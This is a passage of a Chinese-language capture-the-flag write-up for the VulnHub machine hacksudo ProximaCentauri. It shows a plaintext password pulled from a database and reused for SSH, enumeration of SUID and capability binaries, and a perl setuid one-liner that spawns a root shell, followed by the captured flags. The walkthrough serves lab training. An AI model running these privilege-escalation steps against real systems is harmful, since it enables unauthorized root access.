+------+---------+-----------------+---------------------+
| id | name | password | email |
+------+---------+-----------------+---------------------+
| 1 | proxima | alfacentauri123 | vishal@hacksudo.com |
+------+---------+-----------------+---------------------+
1 row in set (0.001 sec)
MariaDB [proximacentauri]>
在数据库 proximacentauri
的表authors
中,有一个用户 proxima
的明文密码。
这个用户跟咱们前面看到的系统用户的用户名一致
这里咱们尝试使用ssh进行登录
┌──(hirak0㉿kali)-[~/vulnhub/hacksudo: ProximaCentauri]
└─$ ssh proxima@192.168.9.17
The authenticity of host '192.168.9.17 (192.168.9.17)' can't be established.
ED25519 key fingerprint is SHA256:eI8yP9LtVsMcwLyNVJCLIT/guic0AroGQyjLmeyJCC8.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.9.17' (ED25519) to the list of known hosts.
#m m # #
# # mmm mmm # m mmm m m mmm# mmm
#mmmm# " # #" " # m" # " # # #" "# #" "#
# # m"""# # #"# """m # # # # # #
# # "mm"# "#mm" # "m "mmm" "mm"# "#m## "#m#"
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
www.hacksudo.com @blackwhole effect #vishal_waghmare @twitter#vishalhwaghmare
#==============================================================================#
#hey dear you might be survive due to blackwhole effect so try 2 get right path#
#------------------------------------------------------------------------------#
did you tried?cont1=^https://github.com/hacksudo/fog-hacksudo/blob/main/blackhole.lst^
proxima@192.168.9.17's password:
Linux ProximaCentauri 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Jun 7 13:00:54 2021 from 192.168.43.217
proxima@ProximaCentauri:~$
成功登录,查看一下当前目录是否有有价值的东西
proxima@ProximaCentauri:~$ ls -al
total 48
drwxrwx--- 7 proxima proxima 4096 Jun 5 2021 .
drwxr-xr-x 5 root root 4096 Jun 5 2021 ..
drwxrwxr-x 2 root root 4096 Jun 5 2021 alfaA
drwxrwxr-x 2 root root 4096 Jun 5 2021 alfaB
-rwxrwxr-x 1 proxima proxima 164 Jun 7 2021 .bash_history
-rwxrwxr-x 1 proxima proxima 220 Jun 4 2021 .bash_logout
-rwxrwxr-x 1 proxima proxima 3605 Jun 5 2021 .bashrc
drwxrwxr-x 3 proxima proxima 4096 Jun 5 2021 .local
-rwxrwxr-x 1 proxima proxima 807 Jun 4 2021 .profile
drwxrwxr-x 2 root root 4096 Jun 5 2021 proximaCentauriA
drwxrwxr-x 2 root root 4096 Jun 5 2021 proximaCentauriB
-rw-r----- 1 proxima proxima 1009 Jun 5 2021 user.txt
proxima@ProximaCentauri:~$ cat user.txt
,-.
___,---.__ /'|`\ __,---,___
,-' \` `-.____,-' | `-.____,-' // `-.
,' | ~'\ /`~ | `.
/ ___// `. ,' , , \___ \
| ,-' `-.__ _ | , __,-' `-. |
| / /\_ ` . | , _/\ \ |
\ | \ \`-.___ \ | / ___,-'/ / | /
\ \ | `._ `\\ | //' _,' | / /
`-.\ /' _ `---'' , . ``---' _ `\ /,-'
`` / \ ,='/ \`=. / \ ''
|__ /|\_,--.,-.--,--._/|\ __|
/ `./ \\`\ | | | /,//' \,' \
/ / ||--+--|--+-/-| \ \
| | /'\_\_\ | /_/_/`\ | |
\ \__, \_ `~' _/ .__/ /
`-._,-' `-._______,-' `-._,-'
user owned
www.hacksudo.com/contact
www.twitter.com/vishalhwaghmare
flag{8b64d2451b7a8f3fd17390f88ea35917}
proxima@ProximaCentauri:~$
在用户目录下成功拿到flag1
查找一下sudo
权限、SUID
二进制文件和具有功能的二进制文件
proxima@ProximaCentauri:~$ sudo -l
-bash: sudo: command not found
proxima@ProximaCentauri:~$ find / -perm -4000 -type f -exec ls -al {} \; 2>/dev/null
-rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su
-rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount
-rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount
-rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd
-rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn
-rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh
-rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp
-rwsr-xr-- 1 root messagebus 51184 Jul 5 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 436552 Jan 31 2020 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
proxima@ProximaCentauri:~$
都没有什么发现
proxima@ProximaCentauri:~$ getcap -r / 2>/dev/null
/home/proxima/proximaCentauriA/perl = cap_setuid+ep
/usr/bin/ping = cap_net_raw+ep
proxima@ProximaCentauri:~$
这里发现有一个具有 setuid
功能的二进制 perl
副本,我们可以利用这个进行权限升级
2.4.3 perl提权
去https://gtfobins.github.io/gtfobins/perl
查看一下利用方式
在反向shell中运行proximaCentauriA/perl -e 'use POSIX qw(setuid);
proxima@ProximaCentauri:~$ proximaCentauriA/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
root@ProximaCentauri:~# id
uid=0(root) gid=1001(proxima) groups=1001(proxima)
root@ProximaCentauri:~# cd /root
root@ProximaCentauri:/root# ls -al
total 36
drwx------ 3 root root 4096 Jun 7 2021 .
drwxr-xr-x 18 root root 4096 Jun 4 2021 ..
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
drwxr-xr-x 3 root root 4096 Jun 4 2021 .local
-rw------- 1 root root 927 Jun 7 2021 .mysql_history
-rw------- 1 root proxima 0 Jun 5 2021 note.txt
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-r-------- 1 root root 1250 Jun 5 2021 root.txt
-rw-r--r-- 1 root root 830 Jun 7 2021 .sshbanner
-rw-r--r-- 1 root root 173 Jun 4 2021 .wget-hsts
root@ProximaCentauri:/root# cat root.txt
proxima centauri ----->
,:
,' |
/ :
--' /
\/ /:/
/ ://_\
__/ /
)'-. /
./ :\
/.' '
'/'
+
'
`.
.-"-
( |
. .-' '.
( (. )8:
.' / (_ )
_. :(. )8P `
. ( `-' ( `. .
. : ( .a8a)
/_`( "a `a. )"'
( (/ . ' )=='
( ( ) .8" +
(`'8a.( _( (
..-. `8P ) ` ) +
-' ( -ab: )
' _ ` (8P"Ya
_( ( )b -`. ) +
( 8) ( _.aP" _a \( \ *
+ )/ (8P (88 ) )
(a:f " `"`
you rooted this server
root flag{e2798af12a7a0f4f70b4d69efbc25f4d}
root@ProximaCentauri:/root#
成功拿到root
权限,并在root
目录下拿到最终flag
总结
本靶机通过信息收集得到网站CMS版本号,通过版本号找到可以利用的EXP
,getshell
后进行信息收集,得到mysql用户凭证,登入mysql后拿到系统用户ssh登录密码,登录该用户通过perl
提权至root权限
- 信息收集
gobuster
目录扫描knock
端口敲门Burpsuite
爆破登录密码CVE-2020-29607
利用- 具有
setuid
功能程序提权---perl
提权